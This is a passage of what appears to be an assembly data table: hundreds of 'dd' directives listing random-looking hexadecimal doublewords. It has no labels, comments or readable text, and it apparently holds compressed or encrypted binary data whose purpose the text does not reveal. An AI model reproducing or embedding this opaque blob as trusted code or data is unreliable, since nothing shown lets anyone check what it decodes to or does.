dd 0A04A200h, 0F09C550h, 0E573008Ch, 8B547FE9h, 77EA064h
dd 12A45300h, 0C9967C9Eh, 418900F0h, 39800103h, 8A983DE9h
dd 75EB0A02h, 60BE0F0Ch, 0F898F25h, 539A650h, 647CD7E0h
dd 0E4001C68h, 6BDDBBE1h, 0EF106EA9h, 8A2F30h, 50280A5Ah
dd 20A45211h, 8DE2421Eh, 76ABF0C2h, 0BF46E01Eh, 53E31E88h
dd 0D31C4148h, 0ECF72683h, 8A00DA39h, 12850F16h, 1D814543h
dd 400EDE38h, 6018508Bh, 74001448h, 0E816FC6Eh, 0A41B5Fh
dd 0A29E0C4Eh, 840FD283h, 512EF000h, 14B216FFh, 8B2507E6h
dd 45BC5E9h, 0CE898094h, 1A00EFFAh, 5A37740Eh, 3FE0A5ACh
dd 76808B08h, 163B2729h, 0B4002077h, 0C2A15051h, 1365AEB3h
dd 0EE2439h, 0A2BAAEBh, 0CAEE7B30h, 0FBE20C00h, 3B920BBAh
dd 1EAB1D85h, 50154061h, 828C638h, 59EFFE00h, 74F1513Dh
dd 48E0006Fh, 53020B04h, 0E202DB31h, 1B1A614Eh, 0A54161E6h
dd 0FA1EBB60h, 5468005Fh, 0D348D12Fh, 0E8909B29h, 79247C00h
dd 0B0FF0EE7h, 286D0014h, 8B2606A0h, 300D56Fh, 47C7045Fh
dd 512D9Fh, 5760F931h, 0E3FF88A7h, 0AD36B907h, 50806F19h
dd 0E891127h, 4108A890h, 0EBE92A40h, 0B8005EFEh, 2C8A51D4h
dd 4586EC8h, 26911F74h, 52B28044h, 75001801h, 0EAE90A1Ah
dd 9E62B9h, 2C444D42h, 2189084Eh, 67017F70h, 718D0559h
dd 0C5EC3D09h, 0B50600A6h, 0EF16439Eh, 3F005A4Bh, 84F87424h
dd 48041h, 0E64F3BD8h, 64176775h, 57B5D41Ch, 9CE269C0h
dd 189093Eh, 610BE842h, 0C48C74CEh, 695CDC7Fh, 0D075002Ch
dd 4B08C683h, 0F2C000B2h, 0A161A486h, 26031499h, 0FF41C4B8h
dd 0E992F88Dh, 946D0E1Ch, 2BEE5923h, 449E21A0h, 27482214h
dd 6CF11E42h, 0F238689h, 56986136h, 0A3E88844h, 1E5BEA30h
dd 8F92899Ah, 8D20CF86h, 93E8EC53h, 9879105h, 0C4E00463h
dd 87BE1h, 2480A48Ch, 42C78F54h, 31288500h, 8BDFA3ECh
dd 2208306Ah, 5684DBDEh, 2489D100h, 28603949h, 54050F5Ah
dd 53A05755h, 9507C888h, 444E4200h, 52E9F62Fh, 8654008Bh
dd 6AA0C730h, 83018897h, 0A427BEAh, 0D471B089h, 60EC7931h
dd 39FD0004h, 1EA80DF0h, 9200A4B5h, 0C9C543EAh, 3BCC031h
dd 1C0648DFh, 12D85910h, 28001189h, 49A78D6Fh, 473A6Ah
dd 0C664955Ah, 0C49674B6h, 5442E00h, 0D103E85Dh, 0E2FF00C7h
dd 4D588038h, 1500CD5Eh, 5034C056h, 0C2BE02h, 4AB80C52h
dd 3F1FFC5h, 3854491Ch, 86E97282h, 92836048h, 0C0070020h
dd 5C742C7Fh, 0F018E95h, 57221509h, 20C8052Dh, 0BF8700DDh
dd 483D1ECFh, 0EB3F4E80h, 84713060h, 83073Fh, 369429E8h
dd 52E130E7h, 43963D00h, 3814112Ah, 93762Dh, 13462E33h
dd 0EB24060Fh, 0FDEA3A1Dh, 502F18C0h, 77E968Ch, 0B02C1D26h
dd 1E2A40C8h
dd 781C3DC9h, 229DCD7Ch, 6567CF0Fh, 87C71A21h, 0CE471627h
dd 0D8871267h, 0DAC70EA7h, 0D9E70AE7h, 0CAC406E0h, 16272EFCh
dd 8D900536h, 808E1D8Bh, 6C01E3E8h, 400C25Dh, 0F3942467h
dd 402993h, 2690F1FAh, 7074503Dh, 0CE00A27Bh, 99CB9238h
dd 1D90836h, 72F65232h, 0EC3B8189h, 300053D0h, 1817438Fh
dd 12381D74h, 0BCFB82h, 0B1D889ABh, 0B600EF84h, 4BFA4419h
dd 74E1Fh, 46A3120Dh, 945C3749h, 0D9B8850Fh, 14510204h
dd 6DBB878Ah, 124F60F0h, 0AA090752h, 505B290Ah, 94ED2677h
dd 68F6E300h, 0A005F8F5h, 0D81A01B5h, 0BAC804Ah, 0C8B63047h
dd 38657502h, 0C02E536Ch, 7F9836Eh, 39A174FFh, 9DF5F001h
dd 0A4008922h, 68A2E984h, 0D49CBFh, 3E434B93h, 57E148C2h
dd 70E80C00h, 0E9A79504h, 505800BEh, 7E1DDB85h, 0F0004B12h
dd 4DE4433h, 9749D4h, 7F24D031h, 0C4BA3DEEh, 0B214EB00h
dd 73E809BDh, 0A96C0023h, 0B4DF9A3h, 3CFE5F3Eh, 0A1856000h
dd 0CFDFE8A4h, 30C3034Bh, 78A2DB33h, 341E5E90h, 3B121400h
dd 1A057EF3h, 0C1DF0004h, 49A81D3Eh, 28EEB127h, 4AEC7F00h
dd 1151E360h, 9CBE00BAh, 0C47D8D04h, 0A790E9B9h, 8FA5F301h
dd 2164BC05h, 1429B20h, 10B02D89h, 0EF84B41Dh, 1508A4F8h
dd 8D87AC00h, 0DF5C44Dh, 9377D17h, 0FC7D8397h, 35B5A100h
dd 6792008h, 0C92BE803h, 880C45FAh, 1CC0A240h, 4359481Dh
dd 0C4151BB8h, 0FF03E990h, 2F967100h, 2836156h, 417E1D05h
dd 3D2580EEh, 7594C81Ch, 0C6180D1Fh, 1132481h, 26F95AD9h
dd 4CBB20h, 0CB222C48h, 95D3E834h, 0A345C501h, 18247444h
dd 3C9F30h, 160646B2h, 6B202778h, 0F5B93805h, 2080EE93h
dd 14E1C3Ch, 124A892h, 0E832A9C8h, 0EC0E040Ch, 0C1D210ACh
dd 0BBBF30C7h, 0E6803CB9h, 115ABE5Ch, 13001280h, 0F294834Bh
dd 383C22h, 334AE877h, 30BB354h, 0D0299200h, 595C44BBh
dd 1B98FFh, 0E68A0FE2h, 57C01750h, 63E8C102h, 80B4ED9Ah
dd 46EA32E3h, 23F011h, 77FF0C1Dh, 0F820061Ch, 3E933700h
dd 5D2656A4h, 73870015h, 19D8F70Fh, 0C9074045h, 32BBB684h
dd 3885609Eh, 1806BEh, 250B34BFh, 0CE587B80h, 83161C0Fh
dd 0BEE0203Fh, 5F8917h, 6F3787D0h, 0FBC2E803h, 75231200h
dd 381A08EFh, 47743E40h, 25581383h, 0EC88A34h, 0BA001685h
dd 0B88C4228h, 1FA27214h, 803E8FAFh, 0EB0B12ACh, 0CF01C62h
dd 75226000h, 6ECF7013h, 0B4150048h, 0E186926h, 0F212163Eh
dd 0D60029ADh, 0A750204h, 0F64C28BEh, 268907FEh, 0F0080C43h
dd 7622012Bh, 503EB2F8h, 0AA18005Fh, 6DFBE8C0h, 192E1F37h
dd 3B0079FDh, 587404CCh, 22007F06h, 0A64BEAEBh, 75482Dh
dd 285314C2h, 0C01292B7h, 980D1500h, 0A03B831Ah, 66F0041h
dd 8BCBC660h, 560003C1h, 0FB6C097Bh, 7A5E0438h, 508C00EBh
dd 6974726Fh, 73036EA0h, 3D437920h, 3FFAA070h, 7A680067h
dd 2963281Fh, 39003181h, 0D32C3338h, 1CCCBAFh, 3718B76Dh
dd 60918990h, 9707E9FBh, 238FF5ADh, 0B75C7C90h, 8B8400E3h
dd 1C2ED110h, 5138C2C7h, 0F84A072Dh, 0F0D07C49h, 0EFF6Ah
dd 8D5007CBh, 57E8D242h, 6B0068F8h, 60C47858h, 2C8BD618h
dd 275513h, 0EC80342h, 29E40865h, 4EEAB000h, 6CA3DAFCh
dd 24510030h, 1A7F4145h, 1700F5B4h, 93750542h, 0FAFE227h
dd 13481864h, 0F65A00DFh, 0B78C97EBh, 0A1876E00h, 4C4B147Ch
dd 21440095h, 2A7E150Ah, 203B3BF9h, 501C0054h, 95F8375h
dd 10180026h, 895A081Fh, 6FF4FC97h, 1768F803h, 0F86B04C6h
dd 38BA546h, 25C0E390h, 0F8E1C1D6h, 0FEF9E458h, 96BCC700h
dd 7A980914h, 95F00053h, 3277E45Ch, 0F0026CFh, 0EC96573Bh
dd 0F38597h, 0D9F1D3F8h, 0B35EEAF2h, 97F8F00h, 8223C74Ah
dd 816700EBh, 8B7854FBh, 64002C7Dh, 9708E0BEh, 40CFC90h
dd 55532850h, 7B40C010h, 0A90086F1h, 0D7E27B8h, 0C70441h
dd 323ACEE9h, 0ECD93306h, 6098B57Bh, 0C5204401h, 16225498h
dd 293160h, 80CA4607h, 0C09CB8B4h, 89145200h, 95D1B9E2h
dd 175B032Ch, 41151268h, 3A522198h, 83D50A3Dh, 1945132Fh
dd 0FD02C0E2h, 0E03E60Bh, 695E3A62h, 0ECE8EB01h, 1CF1306Ah
dd 295AD100h, 2712E5E4h, 41240065h, 66522D30h, 620C9B3Bh
dd 70340A20h, 82C30E0Dh, 6AF280Eh, 0EB081941h, 496892E4h
dd 763A8A00h, 7621D725h, 3C901FC2h, 4252C38Ah, 57C0014Ah
dd 891D5150h, 0F20720D7h, 3B0AE5Ch, 158D1F7h, 5F9AC101h
dd 70A41992h, 0CB03ACB0h, 0EA0F7061h, 0F234D8FEh, 8B770103h
dd 35C9FC7Bh, 0DC8E43Fh, 0E2840F00h, 8A2734FDh, 798B000Eh
dd 85B97EFCh, 391EFA01h, 77EC02CEh, 7A4A2C00h, 4E0E41h
dd 2413269Ah, 0F5A48F46h, 6217AA00h, 83AB42F7h, 0AF3D07D0h
dd 91618828h, 213BA044h, 517460AFh, 68BC0800h, 0F9233450h
dd 0E94F00C0h, 0ED42933h, 0D3003958h, 250CE16h, 3FC5Fh
dd 49756E46h, 0D809DFC7h, 0B34B8B00h, 0A2FAF277h, 53030063h
dd 0A5580F91h, 5C004320h, 0F84F33F7h, 48A48CFEh, 0CA000271h
dd 0E6A0BE9h, 5400AE51h, 0A650528Dh, 8BED40h, 104F944Ch
dd 41112FD7h, 714AFC00h, 305A56CFh, 8BC60007h, 6F149C44h
dd 0B800F5D3h, 5501D834h, 0D054CEh, 7E2AE975h, 0ACC8EF82h
dd 5AC44A00h, 248D5801h, 0E0FD0094h, 3E6CD92Ah, 3900F145h
dd 8FC709D0h, 3EA5CB29h, 8200687Fh, 0AE1C8B6Bh, 0C05857DCh
dd 277007Ch, 5213C201h, 0B4EA00C1h, 1FE40E4Fh, 4A145888h
dd 2C954E89h, 4003A310h, 0E0E6C7C6h, 7F786h, 0FE5A6FBEh
dd 2C2250E0h, 41813800h, 34761702h, 0E3A1E18h, 0E3678410h
dd 0CA7DC0B8h, 300006E1h, 0C0012773h, 7F23EB2Ah, 0D4FA61h
dd 151307D6h, 0CF62B25Ah, 0A4D0E301h, 2A590ACh, 1F850D8h
dd 0B078C442h, 60119743h, 8001DB44h, 0FB3AF9B8h, 2822C77h
dd 0FA34A86h, 390225D0h, 13A424DBh, 9D4AC190h, 0C51FD868h
dd 80CC1EE7h, 36D0895Bh, 7E008BF8h, 0FC58252Dh, 70261BC0h
dd 27C754Ah, 1F7DDA39h, 5068D329h, 9E000519h, 0F416117Fh
dd 6394C9h, 313A7D25h, 89E50AD2h, 2A93D900h, 126CB113h
dd 9ED50F5Bh, 1FF6BC8Bh, 0C0575F87h, 0FC304086h, 7C004E3Fh
dd 7D123D4Ch, 430126h, 0F129227Eh, 2D9CFE9h, 3F42BC3Eh
dd 8DF200F9h, 7F4D3A04h, 52FB0724h, 10FAF0A1h, 0DF4C4762h
dd 4087A900h, 70317992h, 4F8B0088h, 8334F1FCh, 7803044Ah
dd 46068A1Bh, 147ED9C1h, 10D5F4h, 3BCB8937h, 15A6F3C3h
dd 0C746000h, 5AEC128Ah, 57FF051Dh, 0C0415E08h, 273AF875h
dd 6A985100h, 0FF314390h, 489B0028h, 23AFC2FCh, 0E0007883h
dd 0EC1D756Fh, 0F92A09E8h, 1C87A1FBh, 0A5F884F5h, 8B75003Ah
dd 701A40EEh, 0AE0790FCh, 28DC3050h, 949B0C60h, 0C93207AAh
dd 0B021FAD2h, 477CF139h, 9D4BB600h, 4502C80h, 0B86F75E9h
dd 0D43400B4h, 455DB2CAh, 0C81D30DBh, 0F31EF729h, 593D4080h
dd 0DA8906h, 1347E95Bh, 9C36C34Ah, 83A8B83Fh, 1E0EC81h
dd 0E2FAE0A3h, 41B5007Ch, 903C37E8h, 7900F01Dh, 7D28F320h
dd 1F240A80h, 403175FFh, 856AE3DBh, 1F07AE15h, 0C45B1C59h
dd 0AAF8C910h, 504D0322h, 0F5743158h, 0B586C194h, 0C066F932h
dd 87FB0E4Bh, 0CE4652CAh, 10584960h, 0D1350096h, 590CD722h
dd 50009A20h, 32125B3Bh
dd 0EC8814h, 8A532E44h, 4F3924A8h, 6113B300h, 897C620Eh
dd 4CE21D06h, 5A94075h, 0FF0912A3h, 6DE42E00h, 0EC7F4F14h
dd 0FE52039Eh, 0E0F94B7Ch, 2089DDC1h, 0D600FAEDh, 0E506ADA0h
dd 8001F4h, 7BBFF85Ch, 0A80B0ACEh, 0C1E4600h, 0D3F5890h
dd 7F6200A0h, 0F7B400Eh, 881266C8h, 0D80012B2h, 5893598Eh
dd 0CF22F66Fh, 7FC0012Ah, 0E9D6980Ah, 0DBD24503h, 0F0F35214h
dd 78EB19h, 30071A91h, 1DCC2C58h, 1A86A58h, 0D4612D44h
dd 10F0BB28h, 433E4C0h, 0FEF39450h, 89A0C052h, 54008BD5h
dd 2C8E0A2Eh, 0CB5C03h, 4A0D8F02h, 638AB406h, 241D2D0Fh
dd 351940E8h, 771A493Dh, 37FD0171h, 5DF01650h, 431ED4EBh
dd 0E8730400h, 0F243846h, 0F2940077h, 54A97D11h, 9D0049F1h
dd 0D1285C61h, 984AE98Ah, 70B31F84h, 0DA48C08Eh, 0C6087544h
dd 7761C400h, 0E57F9C8h, 708E075Bh, 306A2D4Bh, 463A7620h
dd 0CD25F50Fh, 554F409Ch, 7740561Ah, 287A7E59h, 5DFD6D0h
dd 1C2F89DBh, 41918024h, 14039BCCh, 0CE920BFAh, 5749A8D0h
dd 0D45D003Eh, 0D8CCB056h, 4B002B31h, 22CF2529h, 9B3D09h
dd 0AA1DD5AEh, 5098BEE1h, 0EF335600h, 48CD832Ah, 0BD5B0971h
dd 5F80325Fh, 84F85A85h, 0FDB21C00h, 0A81E532Bh, 0BF3100AFh
dd 0D21D1499h, 0F802BB85h, 19385755h, 606FC2C7h, 0BD0FDCh
dd 10C2731Bh, 23DE0892h, 0F77993F2h, 765E938h, 0FA832875h
dd 0E0EE72E7h, 26BD9981h, 10372EB4h, 190E3DF6h, 73E02A56h
dd 27C7661Ch, 0E9289102h, 0E0485E25h, 8BA18Ah, 0E4D414A3h
dd 88909DA4h, 64836602h, 0C02A8038h, 1818764h, 5F3E868Dh
dd 4084F742h, 0EB2720CEh, 51FF100Ch, 419FC15h, 0C3A78AAEh
dd 6071805Ah, 7304123Ah, 0DB77B111h, 0E78611C5h, 0C41007Ah
dd 7099C3CDh, 14057F3Ah, 757E0FB1h, 301D7980h, 8F580002h
dd 72BD0486h, 1300C6A8h, 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah
dd 0BF6493C3h, 981AB80h, 1C850FC0h, 96883900h, 0F02FE0A2h
dd 0FC021DE4h, 2D51407Dh, 0A9104B9h, 31345901h, 458D12D8h
dd 0E7B0BF8h, 558F6833h, 40DC2D60h, 0D476D84Eh, 0E43E4A98h
dd 9C9294F2h, 2C3503F1h, 88E3CCA8h, 1385150h, 0CBD48A23h
dd 7056B2CFh, 6B00B387h, 0B5657C25h, 797B1D83h, 62CD005Ah
dd 0F926845Bh, 7014923h, 2D350371h, 27DCE24Fh, 53C800FFh
dd 2C30EB4Ch, 0CF02D1D6h, 0FE8AE7E8h, 0CA82E095h, 0C0756Dh
dd 0C336835h, 0ACDD5634h, 1209200h, 5482ABAh, 2F2200FDh
dd 9B511998h, 32008C07h, 0F80A0389h, 0E6443EAh, 2FC0C08h
dd 9A34EB60h, 7D008F4Ah, 0D15727AAh, 3515C18h, 2B4EAD53h
dd 28BBA5BEh, 44959C88h, 8A971202h, 0C03BFD01h, 72EE3D6h
dd 0D266E56Ch, 57A5C7A3h, 9794F008h, 0D800E0C3h, 7E85109h
dd 7C5BA2Fh, 6962279Ah, 763AC05Fh, 6D01EE74h, 8BDE9C53h
dd 0D9C187EFh, 3D8E230h, 82DF0D75h, 0A0A4E84Ch, 3203E259h
dd 0A4133D59h, 305A875h, 210801FBh, 0A31D319h, 0F7D5C048h
dd 22135500h, 4271109Dh, 949600B4h, 93CBE658h, 0E77BC295h
dd 2F9B3000h, 0BF4B2D87h, 5EC00034h, 0D383D4CCh, 2177F869h
dd 0A3110A00h, 63579D5Ch, 0B9510079h, 914C4DB0h, 0F600D6CEh
dd 6A65AF5Bh, 1E46728Ch, 43B99944h, 0A58B7D89h, 0EF9C13C0h
dd 0EC830600h, 0FB8D810h, 78207B96h, 90100B9h, 6531F3E8h
dd 2B0F27B6h, 6FAA56B0h, 2499E0C4h, 595350h, 448CDD58h
dd 70FF1B1Ah, 0C4060C00h, 33B8040Dh, 891200D9h, 5B3936E2h
dd 551F2CA2h, 807AE011h, 0AD05D354h, 91F849h, 6CC88925h
dd 0A34A2471h, 0A540400h, 3870B506h, 47640027h, 3B74A607h
dd 8D000583h, 85E1D11Bh, 188A910h, 6AE48661h, 0C0953F1Ch
dd 0C8002C97h, 6B7C818Fh, 0A5FA10h, 0E8067525h, 6602EBEDh
dd 1C453303h, 0F115FC51h, 0CDF86010h, 77190074h, 7204583Bh
dd 8010A67h, 0C0705A4h, 0F5E0C975h, 0B0360084h, 0EEE7F432h
dd 0F0095EBh, 8A129166h, 19A810h, 0EF755CC2h, 6FB8F844h
dd 64B05B00h, 0C94BC4B3h, 0A3300034h, 9D747A68h, 130F6A82h
dd 871B7501h, 84D0C3EFh, 7A88214Ch, 53CF022h, 9D7D83F4h
dd 5598C0C2h, 85001018h, 5077CDB1h, 0F6B9D36Dh, 0A43400F4h
dd 8C12A515h, 450043E8h, 356536E9h, 371C8Dh, 3ADC3880h
dd 1780F08h, 0E0EEEDFDh, 700015D5h, 0E814025Bh, 6633D7h
dd 823B8013h, 8D26EA0Fh, 0A76A3Dh, 0B747C53Dh, 565DD6h
dd 0F96C34Ch, 2752BF3h, 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h
dd 0C749F8CEh, 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h
dd 40488B92h, 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h
dd 744450E3h, 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h
dd 3A2CD4CFh, 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h
dd 43A9035Ch, 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h
dd 0FF5FA8C7h, 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h
dd 321D336Ch, 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h
dd 4E7468EEh, 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h
dd 40FFE3CEh, 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh
dd 87DC91h, 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h
dd 64210052h, 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h
dd 6F903FD4h, 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h
dd 906850h, 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh
dd 0E892AB34h, 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch
dd 0F61811h, 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch
dd 9FE0CEEEh, 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh
dd 0E8102904h, 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h
dd 755329h, 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h
dd 89265B8Fh, 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h
dd 61777400h, 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h
dd 0FBEB802Bh, 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h
dd 38858700h, 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h
dd 0B1E2040Fh, 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh
dd 0A6385C00h, 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h
dd 0B5ADA648h, 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh
dd 230C5100h, 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h
dd 0E413B4FCh, 2E030A37h, 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh
dd 9A2C0A6h, 0CB41FCEEh, 0F13DCCE3h, 80047B38h, 2A7D3E81h
dd 0AB15A68h, 998438Bh, 0B3E803EAh, 50727B99h, 6F0CBC00h
dd 0F3F4120Ah, 0E87F47Ch, 0CDE31328h, 0C0A7C845h, 89582A2h
dd 3C00F178h, 0AC042512h, 48E09378h, 1000B62Ah, 8D520C06h
dd 4A000EBAh, 214BC22h, 2993E8h, 0E6A2D272h, 11C98E7Dh
dd 6DF81F00h, 1DF1F35Eh, 0B18B0051h, 1A7EA256h, 3C00C9EDh
dd 0AEB77DF2h, 52AAE9h, 62BB4433h, 21590504h, 0F7EB3400h
dd 9612CADh, 76747FB0h, 745B48E8h, 49017500h, 0DC76DA19h
dd 894C3001h, 6CB0C46h, 17FF20h, 45C3B12Dh, 9B480B74h
dd 2EFC207Dh, 3AC0E900h, 4BB8621Ah, 0F2BA0380h, 40B95F31h
dd 1C46C7D0h, 65D6E800h, 827A079h, 50C4FA18h, 0B80FE502h
dd 29C00313h, 62491778h, 4424A0F7h, 14002018h, 597E8088h
dd 222648h, 0FB96B2AEh, 10510F99h, 7060520Ch, 852046h
dd 0FF32DA53h, 8920EB3Ch, 7E810600h, 8BB3042Ah, 63A600B8h
dd 4EFF1FA3h, 0EA0050EEh, 7BE82836h, 44C874h, 812D8CC9h
dd 6A96730Bh, 46E12C07h, 0AB303950h, 5CAD2Ah, 0B1D58990h
dd 968D1361h, 7C2EB900h, 4736FF24h, 0A85A0165h, 0D68B2280h
dd 5CFD86Eh, 0BC074C79h, 1A1D0906h, 85405B80h, 2A8801F9h
dd 4AC2572Bh, 15472019h, 8023A33Dh, 22EB5D0Ah, 1491C6h
dd 8AB29554h, 0F66A5840h, 5E0F617Eh, 2083E8F5h, 3B5374B4h
dd 0B1223FB0h, 6FC91781h, 607E316Bh, 20736C0h, 0FA480775h
dd 5EE4B1E0h, 0A47CC3h, 23246D7Ch, 69B81188h, 0E9EB0402h
dd 809881A2h, 0DBF08BB3h, 0A488008Dh, 49CF9092h, 2403D414h
dd 0EEDB108h, 4BCAE0EAh, 143148E4h, 5C181A00h, 1C149FB3h
dd 4CE41190h, 7A3E2400h, 1B13549Ah, 0B08200B5h, 87D882Ah
dd 0F80E1C90h, 200AAE11h, 75CDFE07h, 0C30B02A4h, 8A94DE28h
dd 4FBABFC0h, 0E6F34Ch, 0EF461CD3h, 20C30Eh, 0F718AFA6h
dd 0E9B767B8h, 0A97231Dh, 0E479254Fh, 7580961Ah, 3C2AA1D8h
dd 0E8950EAh, 0B400FA83h, 85541977h, 6032198h, 132453E1h
dd 41C5E94Eh, 98042CD4h, 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh
dd 784A81E4h, 1A750A00h, 73BB9A4h, 0A573E3C3h, 8A3D50F8h
dd 80011109h, 48302F9h, 0E1F46B42h, 1D70FFC1h, 0B822000Dh
dd 0B046A868h, 9C0FC41Ah, 600A3D32h, 81412919h, 0EBBF0074h
dd 764850DEh, 58005216h, 0B472114Ch, 0EC04C601h, 40FF001Ah
dd 816656F3h, 13005830h, 0F8425290h, 263C494Eh, 0ED51FFAh
dd 6F60D23Dh, 0DBF2724Ch, 62B45E00h, 0B0FAE8F1h, 95AC00DDh
dd 3AC2484Fh, 6500F426h, 104B8339h, 203CA2Bh, 7CF080C4h
dd 0A1808A1Fh, 3A9B3C42h, 0D701172h, 60AA062Eh, 1EBEE00h
dd 122B4A33h, 3B8930h, 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h
dd 0CDEB5837h, 43C30EACh, 0CFE0850Ch, 6930C235h, 8797743Fh
dd 0FC5AE45Bh, 0E13D9B12h, 0E5701877h, 120F1DF1h, 27B9C00Ah
dd 4B35FF05h, 0BCC60C00h, 58F08904h, 24ED0198h, 4084B073h
dd 0E2E8700Ah, 76805A00h, 45E89C6h, 56FF1D17h, 4587C718h
dd 0B8942069h, 76007166h, 6F47BAF1h, 75BE77h, 0B7070FB2h
dd 0B045B3C8h, 21C5F507h, 1E903347h, 90FC2E75h, 2803007Eh
dd 4987B8BBh, 600452Bh, 1167FD1h, 7DC5A30Eh, 421900F4h
dd 5F4CA4F3h, 59503302h, 100DA85h, 915D7A62h, 0B6E3D06h
dd 0AB75A04Eh, 39F6C780h, 5800D050h, 49A6595Ah, 3B77426h
dd 95772BCDh, 0B87807D6h, 0BA258E0Eh, 83750060h, 0EA7E40F9h
dd 0E9071F21h, 0B951C004h, 4A27269Ah, 1E773F00h, 0D7532C7h
dd 7ED5015Bh, 608F0464h, 1AC3E4FFh, 3FDC7100h, 2812F825h
dd 0EC0E3DA1h, 0CB802BBBh, 2F820B7Eh, 44E874D1h, 0F1875A0Bh
dd 1D2D00F5h, 0AEA0BAh, 542B7EBDh, 3B90E91Fh, 89DB520Fh
dd 3FDD201Eh, 580809F3h, 8213B67Dh, 63490017h, 56C3EB15h
dd 10D38400h, 0E22B5A27h, 121403CBh, 0C928B5CAh, 0E9428688h
dd 69C75300h, 8D368158h, 55FF0E51h, 0B967C17Ah, 5A6CC001h
dd 0E202A4AAh, 0F04C49A9h, 7B0DE020h, 40950483h, 0C1AEF2F4h
dd 0D349D125h, 21ED6C00h, 2C663B97h, 0D7F60012h, 0ABA63790h
dd 0E000209Fh, 4574487Ch, 71416CBh, 7F8DD5A2h, 0F29C02Bh
dd 5F001FE2h, 2CDB92C0h, 4F6855h, 0DE011990h, 0ECE8C1C9h
dd 4224B201h, 3D620F16h, 9E18FCh, 3318C50h, 800422B3h
dd 340045E0h, 0C3158451h, 0EA48D8F7h, 4442007Dh, 3001F9E2h
dd 0B0EE0B3h, 0CB473198h, 0C7670752h, 2DA3C3E0h, 6577005Eh
dd 70EED93Dh, 150001A4h, 0A7FFF80h, 0EE13FC8h, 1C4002A0h
dd 840542E0h, 770008FAh, 380C9C72h, 7A47C350h, 0F424000Fh
dd 9680C012h, 8C7A1698h, 0BEBC200Fh, 6B286119h, 16A61CEEh
dd 80951F7Ah, 43B7E16Fh, 0C0023BAh, 0D4A50410h, 0FE800DE8h
dd 84E7002Ah, 14A39174h, 0E6F4F4F0h, 2DB52800h, 31A0020Ah
dd 0E35F18A9h, 8BF3C30h, 8E1BC900h, 2EC54034h, 7CA258BCh
dd 76FA3700h, 0B6B3A0Eh, 3E91DE38h, 234400E8h, 883E8AC7h
dd 4AC0162h, 0AD78EBC5h, 7A80C041h, 26B71701h, 44D8D710h
dd 1AC90C0h, 8678326Eh, 30484087h, 0A0357B5h, 0A968163Fh
dd 0EDA1804Bh, 0CE0703CCh, 4ED3C21Bh, 1484A0C8h, 5161F800h
dd 527A5976h, 0A5C80407h, 0C0B99019h, 0A0556724h, 200F3A0Fh
dd 8F27E0F4h, 0C358CECBh, 0F894093Eh, 3F3978D8h, 875C813Dh
dd 36B90BE5h, 8FD1D7B7h, 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch
dd 8300629Eh, 45812296h, 1C6F7CF8h, 3F657AFCh, 2B70B500h
dd 9DC5ADA8h, 1697F00h, 0FFCFA6D5h, 781F0E49h, 0C314B6BDh
dd 16C59B03h, 0EF80B3ABh, 0E001413Dh, 0A48E98Ch, 93E4BAE4h
dd 24AAE0A8h, 0E78E617h, 0B60516A1h, 55718012h, 8D093927h
dd 70F70Fh, 0C9304093h, 0FFE33D3Ch, 8A529681h, 838E49E7h
dd 0EBFB9D9Ch, 5152007Eh, 6A2F8C43h, 0F00195Ch, 0BBD226FCh
dd 1EE37640h, 8029F2CCh, 7D817C84h, 0A141C44h, 0A4DB90h
dd 406F9FA4h, 1F8AA17h, 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h
dd 0DD002AE9h, 4564F28Ah, 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah
dd 0A7A262D1h, 0D800DC07h, 39B83Eh, 0E91C746h, 0A0AEA603h
dd 0A3E31900h, 750C17D0h, 86812C39h, 48C9002Ah, 93A7E44Dh
dd 353BF0E1h, 0EDB2B800h, 5D1CE553h, 0FDC5003Dh, 929E8B80h
dd 0F000A65Ah, 0C02001A1h, 0F8CA554h, 0E5FB6137h, 5D259D01h
dd 0DBF9C089h, 0F3F86700h, 7BA2BF27h, 80CAC0C8h, 20979B6Eh
dd 28A38h, 25C46052h, 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h
dd 0F7144EFAh, 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h
dd 59D109A8h, 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh
dd 4C914197h, 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h
dd 0A791001h, 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h
dd 20E9DB91h, 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h
dd 0D68ED24Eh, 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh
dd 40001B1Fh, 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h
